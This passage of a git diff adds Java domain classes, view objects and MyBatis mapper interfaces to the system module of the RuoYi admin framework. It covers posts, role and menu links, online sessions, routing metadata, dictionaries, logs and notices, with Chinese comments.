Long getPostId() + { + return postId; + } + + public void setPostId(Long postId) + { + this.postId = postId; + } + + @NotBlank(message = "岗位编码不能为空") + @Size(min = 0, max = 64, message = "岗位编码长度不能超过64个字符") + public String getPostCode() + { + return postCode; + } + + public void setPostCode(String postCode) + { + this.postCode = postCode; + } + + @NotBlank(message = "岗位名称不能为空") + @Size(min = 0, max = 50, message = "岗位名称长度不能超过50个字符") + public String getPostName() + { + return postName; + } + + public void setPostName(String postName) + { + this.postName = postName; + } + + @NotNull(message = "显示顺序不能为空") + public Integer getPostSort() + { + return postSort; + } + + public void setPostSort(Integer postSort) + { + this.postSort = postSort; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public boolean isFlag() + { + return flag; + } + + public void setFlag(boolean flag) + { + this.flag = flag; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("postId", getPostId()) + .append("postCode", getPostCode()) + .append("postName", getPostName()) + .append("postSort", getPostSort()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleDept.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleDept.java new file mode 100644 index 0000000..47b21bf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleDept.java @@ -0,0 +1,46 @@ +package com.ruoyi.system.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; + +/** + * 角色和部门关联 sys_role_dept + * + * @author ruoyi + */ +public class SysRoleDept +{ + /** 角色ID */ + private Long roleId; + + /** 部门ID */ + private Long deptId; + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + public Long getDeptId() + { + return deptId; + } + + public void setDeptId(Long deptId) + { + this.deptId = deptId; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("roleId", getRoleId()) + .append("deptId", getDeptId()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleMenu.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleMenu.java new file mode 100644 index 0000000..de10a74 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleMenu.java @@ -0,0 +1,46 @@ +package com.ruoyi.system.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; + +/** + * 角色和菜单关联 sys_role_menu + * + * @author ruoyi + */ +public class SysRoleMenu +{ + /** 角色ID */ + private Long roleId; + + /** 菜单ID */ + private Long menuId; + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + public Long getMenuId() + { + return menuId; + } + + public void setMenuId(Long menuId) + { + this.menuId = menuId; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("roleId", getRoleId()) + .append("menuId", getMenuId()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserOnline.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserOnline.java new file mode 100644 index 0000000..2bbd318 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserOnline.java @@ -0,0 +1,113 @@ +package com.ruoyi.system.domain; + +/** + * 当前在线会话 + * + * @author ruoyi + */ +public class SysUserOnline +{ + /** 会话编号 */ + private String tokenId; + + /** 部门名称 */ + private String deptName; + + /** 用户名称 */ + private String userName; + + /** 登录IP地址 */ + private String ipaddr; + + /** 登录地址 */ + private String loginLocation; + + /** 浏览器类型 */ + private String browser; + + /** 操作系统 */ + private String os; + + /** 登录时间 */ + private Long loginTime; + + public String getTokenId() + { + return tokenId; + } + + public void setTokenId(String tokenId) + { + this.tokenId = tokenId; + } + + public String getDeptName() + { + return deptName; + } + + public void setDeptName(String deptName) + { + this.deptName = deptName; + } + + public String getUserName() + { + return userName; + } + + public void setUserName(String userName) + { + this.userName = userName; + } + + public String getIpaddr() + { + return ipaddr; + } + + public void setIpaddr(String ipaddr) + { + this.ipaddr = ipaddr; + } + + public String getLoginLocation() + { + return loginLocation; + } + + public void setLoginLocation(String loginLocation) + { + this.loginLocation = loginLocation; + } + + public String getBrowser() + { + return browser; + } + + public void setBrowser(String browser) + { + this.browser = browser; + } + + public String getOs() + { + return os; + } + + public void setOs(String os) + { + this.os = os; + } + + public Long getLoginTime() + { + return loginTime; + } + + public void setLoginTime(Long loginTime) + { + this.loginTime = loginTime; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserPost.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserPost.java new file mode 100644 index 0000000..6e8c416 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserPost.java @@ -0,0 +1,46 @@ +package com.ruoyi.system.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; + +/** + * 用户和岗位关联 sys_user_post + * + * @author ruoyi + */ +public class SysUserPost +{ + /** 用户ID */ + private Long userId; + + /** 岗位ID */ + private Long postId; + + public Long getUserId() + { + return userId; + } + + public void setUserId(Long userId) + { + this.userId = userId; + } + + public Long getPostId() + { + return postId; + } + + public void setPostId(Long postId) + { + this.postId = postId; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("userId", getUserId()) + .append("postId", getPostId()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserRole.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserRole.java new file mode 100644 index 0000000..4d15810 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserRole.java @@ -0,0 +1,46 @@ +package com.ruoyi.system.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; + +/** + * 用户和角色关联 sys_user_role + * + * @author ruoyi + */ +public class SysUserRole +{ + /** 用户ID */ + private Long userId; + + /** 角色ID */ + private Long roleId; + + public Long getUserId() + { + return userId; + } + + public void setUserId(Long userId) + { + this.userId = userId; + } + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("userId", getUserId()) + .append("roleId", getRoleId()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/MetaVo.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/MetaVo.java new file mode 100644 index 0000000..a5d5fdc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/MetaVo.java @@ -0,0 +1,106 @@ +package com.ruoyi.system.domain.vo; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 路由显示信息 + * + * @author ruoyi + */ +public class MetaVo +{ + /** + * 设置该路由在侧边栏和面包屑中展示的名字 + */ + private String title; + + /** + * 设置该路由的图标,对应路径src/assets/icons/svg + */ + private String icon; + + /** + * 设置为true,则不会被 缓存 + */ + private boolean noCache; + + /** + * 内链地址(http(s)://开头) + */ + private String link; + + public MetaVo() + { + } + + public MetaVo(String title, String icon) + { + this.title = title; + this.icon = icon; + } + + public MetaVo(String title, String icon, boolean noCache) + { + this.title = title; + this.icon = icon; + this.noCache = noCache; + } + + public MetaVo(String title, String icon, String link) + { + this.title = title; + this.icon = icon; + this.link = link; + } + + public MetaVo(String title, String icon, boolean noCache, String link) + { + this.title = title; + this.icon = icon; + this.noCache = noCache; + if (StringUtils.ishttp(link)) + { + this.link = link; + } + } + + public boolean isNoCache() + { + return noCache; + } + + public void setNoCache(boolean noCache) + { + this.noCache = noCache; + } + + public String getTitle() + { + return title; + } + + public void setTitle(String title) + { + this.title = title; + } + + public String getIcon() + { + return icon; + } + + public void setIcon(String icon) + { + this.icon = icon; + } + + public String getLink() + { + return link; + } + + public void setLink(String link) + { + this.link = link; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/RouterVo.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/RouterVo.java new file mode 100644 index 0000000..afff8c9 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/RouterVo.java @@ -0,0 +1,148 @@ +package com.ruoyi.system.domain.vo; + +import com.fasterxml.jackson.annotation.JsonInclude; +import java.util.List; + +/** + * 路由配置信息 + * + * @author ruoyi + */ +@JsonInclude(JsonInclude.Include.NON_EMPTY) +public class RouterVo +{ + /** + * 路由名字 + */ + private String name; + + /** + * 路由地址 + */ + private String path; + + /** + * 是否隐藏路由,当设置 true 的时候该路由不会再侧边栏出现 + */ + private boolean hidden; + + /** + * 重定向地址,当设置 noRedirect 的时候该路由在面包屑导航中不可被点击 + */ + private String redirect; + + /** + * 组件地址 + */ + private String component; + + /** + * 路由参数:如 {"id": 1, "name": "ry"} + */ + private String query; + + /** + * 当你一个路由下面的 children 声明的路由大于1个时,自动会变成嵌套的模式--如组件页面 + */ + private Boolean alwaysShow; + + /** + * 其他元素 + */ + private MetaVo meta; + + /** + * 子路由 + */ + private List children; + + public String getName() + { + return name; + } + + public void setName(String name) + { + this.name = name; + } + + public String getPath() + { + return path; + } + + public void setPath(String path) + { + this.path = path; + } + + public boolean getHidden() + { + return hidden; + } + + public void setHidden(boolean hidden) + { + this.hidden = hidden; + } + + public String getRedirect() + { + return redirect; + } + + public void setRedirect(String redirect) + { + this.redirect = redirect; + } + + public String getComponent() + { + return component; + } + + public void setComponent(String component) + { + this.component = component; + } + + public String getQuery() + { + return query; + } + + public void setQuery(String query) + { + this.query = query; + } + + public Boolean getAlwaysShow() + { + return alwaysShow; + } + + public void setAlwaysShow(Boolean alwaysShow) + { + this.alwaysShow = alwaysShow; + } + + public MetaVo getMeta() + { + return meta; + } + + public void setMeta(MetaVo meta) + { + this.meta = meta; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysConfigMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysConfigMapper.java new file mode 100644 index 0000000..13d49d6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysConfigMapper.java @@ -0,0 +1,76 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysConfig; + +/** + * 参数配置 数据层 + * + * @author ruoyi + */ +public interface SysConfigMapper +{ + /** + * 查询参数配置信息 + * + * @param config 参数配置信息 + * @return 参数配置信息 + */ + public SysConfig selectConfig(SysConfig config); + + /** + * 通过ID查询配置 + * + * @param configId 参数ID + * @return 参数配置信息 + */ + public SysConfig selectConfigById(Long configId); + + /** + * 查询参数配置列表 + * + * @param config 参数配置信息 + * @return 参数配置集合 + */ + public List selectConfigList(SysConfig config); + + /** + * 根据键名查询参数配置信息 + * + * @param configKey 参数键名 + * @return 参数配置信息 + */ + public SysConfig checkConfigKeyUnique(String configKey); + + /** + * 新增参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + public int insertConfig(SysConfig config); + + /** + * 修改参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + public int updateConfig(SysConfig config); + + /** + * 删除参数配置 + * + * @param configId 参数ID + * @return 结果 + */ + public int deleteConfigById(Long configId); + + /** + * 批量删除参数信息 + * + * @param configIds 需要删除的参数ID + * @return 结果 + */ + public int deleteConfigByIds(Long[] configIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDeptMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDeptMapper.java new file mode 100644 index 0000000..384a9b6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDeptMapper.java @@ -0,0 +1,118 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.common.core.domain.entity.SysDept; + +/** + * 部门管理 数据层 + * + * @author ruoyi + */ +public interface SysDeptMapper +{ + /** + * 查询部门管理数据 + * + * @param dept 部门信息 + * @return 部门信息集合 + */ + public List selectDeptList(SysDept dept); + + /** + * 根据角色ID查询部门树信息 + * + * @param roleId 角色ID + * @param deptCheckStrictly 部门树选择项是否关联显示 + * @return 选中部门列表 + */ + public List selectDeptListByRoleId(@Param("roleId") Long roleId, @Param("deptCheckStrictly") boolean deptCheckStrictly); + + /** + * 根据部门ID查询信息 + * + * @param deptId 部门ID + * @return 部门信息 + */ + public SysDept selectDeptById(Long deptId); + + /** + * 根据ID查询所有子部门 + * + * @param deptId 部门ID + * @return 部门列表 + */ + public List selectChildrenDeptById(Long deptId); + + /** + * 根据ID查询所有子部门(正常状态) + * + * @param deptId 部门ID + * @return 子部门数 + */ + public int selectNormalChildrenDeptById(Long deptId); + + /** + * 是否存在子节点 + * + * @param deptId 部门ID + * @return 结果 + */ + public int hasChildByDeptId(Long deptId); + + /** + * 查询部门是否存在用户 + * + * @param deptId 部门ID + * @return 结果 + */ + public int checkDeptExistUser(Long deptId); + + /** + * 校验部门名称是否唯一 + * + * @param deptName 部门名称 + * @param parentId 父部门ID + * @return 结果 + */ + public SysDept checkDeptNameUnique(@Param("deptName") String deptName, @Param("parentId") Long parentId); + + /** + * 新增部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + public int insertDept(SysDept dept); + + /** + * 修改部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + public int updateDept(SysDept dept); + + /** + * 修改所在部门正常状态 + * + * @param deptIds 部门ID组 + */ + public void updateDeptStatusNormal(Long[] deptIds); + + /** + * 修改子元素关系 + * + * @param depts 子元素 + * @return 结果 + */ + public int updateDeptChildren(@Param("depts") List depts); + + /** + * 删除部门管理信息 + * + * @param deptId 部门ID + * @return 结果 + */ + public int deleteDeptById(Long deptId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictDataMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictDataMapper.java new file mode 100644 index 0000000..cf321ef --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictDataMapper.java @@ -0,0 +1,97 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.common.core.domain.entity.SysDictData; + +/** + * 字典表 数据层 + * + * @author ruoyi + */ +public interface SysDictDataMapper +{ + /** + * 根据条件分页查询字典数据 + * + * @param dictData 字典数据信息 + * @return 字典数据集合信息 + */ + public List selectDictDataList(SysDictData dictData); + + /** + * 根据字典类型查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据集合信息 + */ + public List selectDictDataByType(String dictType); + + /** + * 根据字典类型和字典键值查询字典数据信息 + * + * @param dictType 字典类型 + * @param dictValue 字典键值 + * @return 字典标签 + */ + public String selectDictLabel(@Param("dictType") String dictType, @Param("dictValue") String dictValue); + + /** + * 根据字典数据ID查询信息 + * + * @param dictCode 字典数据ID + * @return 字典数据 + */ + public SysDictData selectDictDataById(Long dictCode); + + /** + * 查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据 + */ + public int countDictDataByType(String dictType); + + /** + * 通过字典ID删除字典数据信息 + * + * @param dictCode 字典数据ID + * @return 结果 + */ + public int deleteDictDataById(Long dictCode); + + /** + * 批量删除字典数据信息 + * + * @param dictCodes 需要删除的字典数据ID + * @return 结果 + */ + public int deleteDictDataByIds(Long[] dictCodes); + + /** + * 新增字典数据信息 + * + * @param dictData 字典数据信息 + * @return 结果 + */ + public int insertDictData(SysDictData dictData); + + /** + * 修改字典数据信息 + * + * @param dictData 字典数据信息 + * @return 结果 + */ + public int updateDictData(SysDictData dictData); + + /** + * 同步修改字典类型 + * + * @param oldDictType 旧字典类型 + * @param newDictType 新旧字典类型 + * @return 结果 + */ + public int updateDictDataType(@Param("oldDictType") String oldDictType, @Param("newDictType") String newDictType); + + int updateDictDataByIsDefault(SysDictData data); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictTypeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictTypeMapper.java new file mode 100644 index 0000000..5fb48fb --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictTypeMapper.java @@ -0,0 +1,83 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysDictType; + +/** + * 字典表 数据层 + * + * @author ruoyi + */ +public interface SysDictTypeMapper +{ + /** + * 根据条件分页查询字典类型 + * + * @param dictType 字典类型信息 + * @return 字典类型集合信息 + */ + public List selectDictTypeList(SysDictType dictType); + + /** + * 根据所有字典类型 + * + * @return 字典类型集合信息 + */ + public List selectDictTypeAll(); + + /** + * 根据字典类型ID查询信息 + * + * @param dictId 字典类型ID + * @return 字典类型 + */ + public SysDictType selectDictTypeById(Long dictId); + + /** + * 根据字典类型查询信息 + * + * @param dictType 字典类型 + * @return 字典类型 + */ + public SysDictType selectDictTypeByType(String dictType); + + /** + * 通过字典ID删除字典信息 + * + * @param dictId 字典ID + * @return 结果 + */ + public int deleteDictTypeById(Long dictId); + + /** + * 批量删除字典类型信息 + * + * @param dictIds 需要删除的字典ID + * @return 结果 + */ + public int deleteDictTypeByIds(Long[] dictIds); + + /** + * 新增字典类型信息 + * + * @param dictType 字典类型信息 + * @return 结果 + */ + public int insertDictType(SysDictType dictType); + + /** + * 修改字典类型信息 + * + * @param dictType 字典类型信息 + * @return 结果 + */ + public int updateDictType(SysDictType dictType); + + /** + * 校验字典类型称是否唯一 + * + * @param dictType 字典类型 + * @return 结果 + */ + public SysDictType checkDictTypeUnique(String dictType); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysLogininforMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysLogininforMapper.java new file mode 100644 index 0000000..629866f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysLogininforMapper.java @@ -0,0 +1,42 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysLogininfor; + +/** + * 系统访问日志情况信息 数据层 + * + * @author ruoyi + */ +public interface SysLogininforMapper +{ + /** + * 新增系统登录日志 + * + * @param logininfor 访问日志对象 + */ + public void insertLogininfor(SysLogininfor logininfor); + + /** + * 查询系统登录日志集合 + * + * @param logininfor 访问日志对象 + * @return 登录记录集合 + */ + public List selectLogininforList(SysLogininfor logininfor); + + /** + * 批量删除系统登录日志 + * + * @param infoIds 需要删除的登录日志ID + * @return 结果 + */ + public int deleteLogininforByIds(Long[] infoIds); + + /** + * 清空系统登录日志 + * + * @return 结果 + */ + public int cleanLogininfor(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysMenuMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysMenuMapper.java new file mode 100644 index 0000000..99c0c50 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysMenuMapper.java @@ -0,0 +1,125 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.common.core.domain.entity.SysMenu; + +/** + * 菜单表 数据层 + * + * @author ruoyi + */ +public interface SysMenuMapper +{ + /** + * 查询系统菜单列表 + * + * @param menu 菜单信息 + * @return 菜单列表 + */ + public List selectMenuList(SysMenu menu); + + /** + * 根据用户所有权限 + * + * @return 权限列表 + */ + public List selectMenuPerms(); + + /** + * 根据用户查询系统菜单列表 + * + * @param menu 菜单信息 + * @return 菜单列表 + */ + public List selectMenuListByUserId(SysMenu menu); + + /** + * 根据角色ID查询权限 + * + * @param roleId 角色ID + * @return 权限列表 + */ + public List selectMenuPermsByRoleId(Long roleId); + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + public List selectMenuPermsByUserId(Long userId); + + /** + * 根据用户ID查询菜单 + * + * @return 菜单列表 + */ + public List selectMenuTreeAll(); + + /** + * 根据用户ID查询菜单 + * + * @param userId 用户ID + * @return 菜单列表 + */ + public List selectMenuTreeByUserId(Long userId); + + /** + * 根据角色ID查询菜单树信息 + * + * @param roleId 角色ID + * @param menuCheckStrictly 菜单树选择项是否关联显示 + * @return 选中菜单列表 + */ + public List selectMenuListByRoleId(@Param("roleId") Long roleId, @Param("menuCheckStrictly") boolean menuCheckStrictly); + + /** + * 根据菜单ID查询信息 + * + * @param menuId 菜单ID + * @return 菜单信息 + */ + public SysMenu selectMenuById(Long menuId); + + /** + * 是否存在菜单子节点 + * + * @param menuId 菜单ID + * @return 结果 + */ + public int hasChildByMenuId(Long menuId); + + /** + * 新增菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + public int insertMenu(SysMenu menu); + + /** + * 修改菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + public int updateMenu(SysMenu menu); + + /** + * 删除菜单管理信息 + * + * @param menuId 菜单ID + * @return 结果 + */ + public int deleteMenuById(Long menuId); + + /** + * 校验菜单名称是否唯一 + * + * @param menuName 菜单名称 + * @param parentId 父菜单ID + * @return 结果 + */ + public SysMenu checkMenuNameUnique(@Param("menuName") String menuName, @Param("parentId") Long parentId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysNoticeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysNoticeMapper.java new file mode 100644 index 0000000..c34f0a2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysNoticeMapper.java @@ -0,0 +1,60 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysNotice; + +/** + * 通知公告表 数据层 + * + * @author ruoyi + */ +public interface SysNoticeMapper +{ + /** + * 查询公告信息 + * + * @param noticeId 公告ID + * @return 公告信息 + */ + public SysNotice selectNoticeById(Long noticeId); + + /** + * 查询公告列表 + * + * @param notice 公告信息 + * @return 公告集合 + */ + public List selectNoticeList(SysNotice notice); + + /** + * 新增公告 + * + * @param notice 公告信息 + * @return 结果 + */ + public int insertNotice(SysNotice notice); + + /** + * 修改公告 + * + * @param notice 公告信息 + * @return 结果 + */ + public int updateNotice(SysNotice notice); + + /** + * 批量删除公告 + * + * @param noticeId 公告ID + * @return 结果 + */ + public int deleteNoticeById(Long noticeId); + + /** + * 批量删除公告信息 + * + * @param noticeIds 需要删除的公告ID + * @return 结果 + */ + public int deleteNoticeByIds(Long[] noticeIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysOperLogMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysOperLogMapper.java new file mode 100644 index 0000000..2ae6457 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysOperLogMapper.java @@ -0,0 +1,48 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysOperLog; + +/** + * 操作日志 数据层 + * + * @author ruoyi + */ +public interface SysOperLogMapper +{ + /** + * 新增操作日志 + * + * @param operLog 操作日志对象 + */ + public void insertOperlog(SysOperLog operLog); + + /** + * 查询系统操作日志集合 + * + * @param operLog 操作日志对象 + * @return 操作日志集合 + */ + public List selectOperLogList(SysOperLog operLog); + + /** + * 批量删除系统操作日志 + * + * @param operIds 需要删除的操作日志ID + * @return 结果 + */ + public int deleteOperLogByIds(Long[] operIds); + + /** + * 查询操作日志详细 + * + * @param operId 操作ID + * @return 操作日志对象 + */ + public SysOperLog selectOperLogById(Long operId); + + /** + * 清空操作日志 + */ + public void cleanOperLog(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysPostMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysPostMapper.java new file mode 100644 index 0000000..19be227 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysPostMapper.java @@ -0,0 +1,99 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysPost; + +/** + * 岗位信息 数据层 + * + * @author ruoyi + */ +public interface SysPostMapper +{ + /** + * 查询岗位数据集合 + * + * @param post 岗位信息 + * @return 岗位数据集合 + */ + public List selectPostList(SysPost post); + + /** + * 查询所有岗位 + * + * @return 岗位列表 + */ + public List selectPostAll(); + + /** + * 通过岗位ID查询岗位信息 + * + * @param postId 岗位ID + * @return 角色对象信息 + */ + public SysPost selectPostById(Long postId); + + /** + * 根据用户ID获取岗位选择框列表 + * + * @param userId 用户ID + * @return 选中岗位ID列表 + */ + public List selectPostListByUserId(Long userId); + + /** + * 查询用户所属岗位组 + * + * @param userName 用户名 + * @return 结果 + */ + public List selectPostsByUserName(String userName); + + /** + * 删除岗位信息 + * + * @param postId 岗位ID + * @return 结果 + */ + public int deletePostById(Long postId); + + /** + * 批量删除岗位信息 + * + * @param postIds 需要删除的岗位ID + * @return 结果 + */ + public int deletePostByIds(Long[] postIds); + + /** + * 修改岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + public int updatePost(SysPost post); + + /** + * 新增岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + public int insertPost(SysPost post); + + /** + * 校验岗位名称 + * + * @param postName 岗位名称 + * @return 结果 + */ + public SysPost checkPostNameUnique(String postName); + + /** + * 校验岗位编码 + * + * @param postCode 岗位编码 + * @return 结果 + */ + public SysPost checkPostCodeUnique(String postCode); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleDeptMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleDeptMapper.java new file mode 100644 index 0000000..f9d3a2f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleDeptMapper.java @@ -0,0 +1,44 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysRoleDept; + +/** + * 角色与部门关联表 数据层 + * + * @author ruoyi + */ +public interface SysRoleDeptMapper +{ + /** + * 通过角色ID删除角色和部门关联 + * + * @param roleId 角色ID + * @return 结果 + */ + public int deleteRoleDeptByRoleId(Long roleId); + + /** + * 批量删除角色部门关联信息 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteRoleDept(Long[] ids); + + /** + * 查询部门使用数量 + * + * @param deptId 部门ID + * @return 结果 + */ + public int selectCountRoleDeptByDeptId(Long deptId); + + /** + * 批量新增角色部门信息 + * + * @param roleDeptList 角色部门列表 + * @return 结果 + */ + public int batchRoleDept(List roleDeptList); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMapper.java new file mode 100644 index 0000000..cf2bd8c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMapper.java @@ -0,0 +1,107 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysRole; + +/** + * 角色表 数据层 + * + * @author ruoyi + */ +public interface SysRoleMapper +{ + /** + * 根据条件分页查询角色数据 + * + * @param role 角色信息 + * @return 角色数据集合信息 + */ + public List selectRoleList(SysRole role); + + /** + * 根据用户ID查询角色 + * + * @param userId 用户ID + * @return 角色列表 + */ + public List selectRolePermissionByUserId(Long userId); + + /** + * 查询所有角色 + * + * @return 角色列表 + */ + public List selectRoleAll(); + + /** + * 根据用户ID获取角色选择框列表 + * + * @param userId 用户ID + * @return 选中角色ID列表 + */ + public List selectRoleListByUserId(Long userId); + + /** + * 通过角色ID查询角色 + * + * @param roleId 角色ID + * @return 角色对象信息 + */ + public SysRole selectRoleById(Long roleId); + + /** + * 根据用户ID查询角色 + * + * @param userName 用户名 + * @return 角色列表 + */ + public List selectRolesByUserName(String userName); + + /** + * 校验角色名称是否唯一 + * + * @param roleName 角色名称 + * @return 角色信息 + */ + public SysRole checkRoleNameUnique(String roleName); + + /** + * 校验角色权限是否唯一 + * + * @param roleKey 角色权限 + * @return 角色信息 + */ + public SysRole checkRoleKeyUnique(String roleKey); + + /** + * 修改角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int updateRole(SysRole role); + + /** + * 新增角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int insertRole(SysRole role); + + /** + * 通过角色ID删除角色 + * + * @param roleId 角色ID + * @return 结果 + */ + public int deleteRoleById(Long roleId); + + /** + * 批量删除角色信息 + * + * @param roleIds 需要删除的角色ID + * @return 结果 + */ + public int deleteRoleByIds(Long[] roleIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMenuMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMenuMapper.java new file mode 100644 index 0000000..6602bee --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMenuMapper.java @@ -0,0 +1,44 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysRoleMenu; + +/** + * 角色与菜单关联表 数据层 + * + * @author ruoyi + */ +public interface SysRoleMenuMapper +{ + /** + * 查询菜单使用数量 + * + * @param menuId 菜单ID + * @return 结果 + */ + public int checkMenuExistRole(Long menuId); + + /** + * 通过角色ID删除角色和菜单关联 + * + * @param roleId 角色ID + * @return 结果 + */ + public int deleteRoleMenuByRoleId(Long roleId); + + /** + * 